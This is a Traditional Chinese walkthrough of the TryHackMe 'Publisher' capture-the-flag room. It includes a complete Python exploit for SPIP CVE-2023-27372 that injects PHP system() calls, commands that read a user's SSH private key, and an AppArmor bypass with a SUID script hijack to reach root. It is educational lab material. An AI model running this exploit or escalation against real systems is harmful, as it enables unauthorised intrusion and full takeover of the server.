TryHackMe Publisher writeup (zh-TW)
題目資訊
- 平台: TryHackMe
- 房間名稱: Publisher
- 難度: Easy
- 目標: 獲取 User Flag 和 Root Flag
- 連結: https://tryhackme.com/room/publisher
偵察階段
Nmap 掃描
nmap -Pn -sV -sC 10.201.75.156 -p-
掃描結果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache/2.4.41 (Ubuntu)
Web 偵察
訪問 http://10.201.75.156 發現 SPIP CMS:
curl -I http://10.201.75.156/spip/spip.php
關鍵發現:
在 http://10.201.75.156/spip/config/,發現版本,可查詢對應是否有漏洞!
Composed-By: SPIP 4.2.0 @ www.spip.net
Step 1: 初始訪問 - SPIP CVE-2023-27372 RCE
漏洞資訊
- CVE: CVE-2023-27372
- 影響版本: SPIP < 4.2.1
- 漏洞類型: PHP 反序列化導致的遠程代碼執行
- 利用向量:
/spip.php?page=spip_pass的oubli參數
漏洞分析
SPIP 在密碼重置功能中使用了危險的 #ENV** 標籤,且 protege_champ() 函數的正則表達式存在缺陷,允許注入序列化的 PHP 代碼。
Exploit 腳本
下載公開 exploit:
wget https://raw.githubusercontent.com/nuts7/CVE-2023-27372/master/CVE-2023-27372.py -O 51536.py
問題:原始腳本有 urllib3 兼容性問題。
修復方法:
sed -i '63s/^/# /' 51536.py
第二個問題:原始腳本只注入 payload 但無法看到輸出。
改進的 Exploit 腳本
創建 exploit.py:
#!/usr/bin/env python3
import requests
import bs4
import sys
def get_csrf(url):
r = requests.get(f'{url}/spip.php?page=spip_pass')
soup = bs4.BeautifulSoup(r.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
return csrf_input['value'] if csrf_input else None
def exploit(url, cmd):
csrf = get_csrf(url)
if not csrf:
print("[-] Failed to get CSRF token")
return
print(f"[+] CSRF: {csrf[:30]}...")
# 正確計算長度!
php_code = f'<?php system("{cmd}"); ?>'
payload = f's:{len(php_code)}:"{php_code}";'
print(f"[*] Command: {cmd}")
print(f"[*] PHP code: {php_code}")
print(f"[*] PHP code length: {len(php_code)}")
print(f"[*] Payload: {payload}")
data = {
"page": "spip_pass",
"formulaire_action": "oubli",
"formulaire_action_args": csrf,
"oubli": payload
}
r = requests.post(f'{url}/spip.php?page=spip_pass', data=data)
print(f"\n[*] Status: {r.status_code}")
# 查找命令輸出
if 'erreur' not in r.text.lower():
print("[+] No error detected!")
# 顯示響應
print("\n" + "="*60)
print(r.text)
print("="*60)
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: python3 spip_exploit.py 'command'")
sys.exit(1)
url = "http://10.201.75.156/spip"
cmd = ' '.join(sys.argv[1:])
exploit(url, cmd)執行 Exploit
python3 exploit.py 'id'
輸出結果(在 HTML 的 value 屬性中):
value="s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";"
✅ 成功獲得代碼執行!
Step 2: 橫向移動到 think 用戶
偵察系統
python3 exploit.py 'ls -la /home'
python3 exploit.py 'ls -la /home/think'
發現:
drwxr-xr-x 2 think think 4096 Jan 10 2024 .ssh
-rw-r--r-- 1 root root 35 Feb 10 2024 user.txt
檢查 SSH 目錄
python3 exploit.py 'ls -la /home/think/.ssh/'
關鍵發現:
-rw-r--r-- 1 think think 2602 Jan 10 2024 id_rsa ← 所有人可讀!
獲取 SSH 私鑰
python3 exploit.py 'cat /home/think/.ssh/id_rsa'
將輸出保存為 think_id_rsa:
chmod 600 think_id_rsa
ssh -i think_id_rsa [email protected]
✅ 成功登錄!
User Flag
think@ip-10-201-75-156:~$ cat user.txt
Redacted
Step 3: 提權到 Root - AppArmor 繞過
初步偵察
# 檢查 SUID 文件
find / -perm -4000 2>/dev/null
# 檢查 sudo 權限
sudo -l # 需要密碼
# 檢查內核版本
uname -a
發現可疑的 SUID 文件:
/usr/sbin/run_container ← 自定義二進制文件!
分析 run_container
/usr/sbin/run_container
輸出:
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up
Enter the ID of the container or leave blank to create a new one:
查看腳本內容:
cat /opt/run_container.sh
關鍵發現:
/usr/sbin/run_container以 root 權限執行- 它調用
/opt/run_container.sh腳本 validate_container_id函數不存在(第 16 行錯誤)
提權思路
如果我們能修改 /opt/run_container.sh,就能以 root 權限執行任意命令!
問題:AppArmor 限制
echo 'chmod +s /bin/bash' > /opt/run_container.sh
# bash: /opt/run_container.sh: Permission denied
AppArmor 分析
檢查當前 shell 的 AppArmor profile:
cat /proc/self/attr/current
# /usr/sbin/ash (complain)
cat /etc/apparmor.d/usr.sbin.ash
關鍵限制:
deny /opt/** w, ← 無法寫入 /opt/
deny /tmp/** w, ← 無法寫入 /tmp/
deny /home/** w, ← 無法寫入 /home/
但是:沒有限制 /dev/shm/!
AppArmor 繞過技巧
AppArmor 的限制是針對進程的,不是針對用戶!關鍵是創建一個新進程來繞過限制。
步驟 1:在 /dev/shm 創建 Perl 腳本
cat > /dev/shm/test.pl << 'EOF'
#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh";
EOF
chmod +x /dev/shm/test.pl
步驟 2:執行 Perl 腳本獲得新 shell
/dev/shm/test.pl
注意提示符變化:
think@ip-10-201-14-58:~$ ← 原始 shell(受 AppArmor 限制)
$ ← 新 shell(不受限制!)
步驟 3:在新 shell 中修改 run_container.sh
$ echo '#!/bin/bash
/bin/bash -p' > /opt/run_container.sh
✅ 成功寫入!(因為新 shell 沒有 AppArmor 限制)
步驟 4:執行 SUID binary 觸發提權
$ /usr/sbin/run_container
提權成功:
bash-5.0# ← Root shell!
Root Flag
bash-5.0# cat /root/root.txt
Redacted
技術要點總結
1. SPIP CVE-2023-27372 漏洞利用
- 輸出位置:在 POST 響應的 HTML
value屬性中
2. SSH 私鑰權限配置錯誤
- 問題:
id_rsa文件設置為全局可讀(644) - 正確權限:應該是 600
3. AppArmor 安全繞過
- 理解:AppArmor 限制的是進程,不是用戶
- 繞過方法:
- 找到可寫且可執行的目錄(
/dev/shm/) - 創建腳本啟動新進程
- 新進程不繼承 AppArmor 限制
- 在新進程中執行被限制的操作
- 找到可寫且可執行的目錄(
4. SUID 腳本利用
- 條件:
- SUID binary 調用外部腳本
- 腳本路徑可被修改
- 利用:修改腳本內容以 root 權限執行命令
經驗分享
這一題的提權,作者完全想不出來,最後跟AI討論發現了盲點,
Claude AI: 你其實找到了所有關鍵線索
- ✅
/dev/shm/可寫 - ✅
/opt/run_container.sh是目標 - ❌ 但沒意識到要用
/dev/shm/test.pl創建新進程來繞過 AppArmor
Member discussion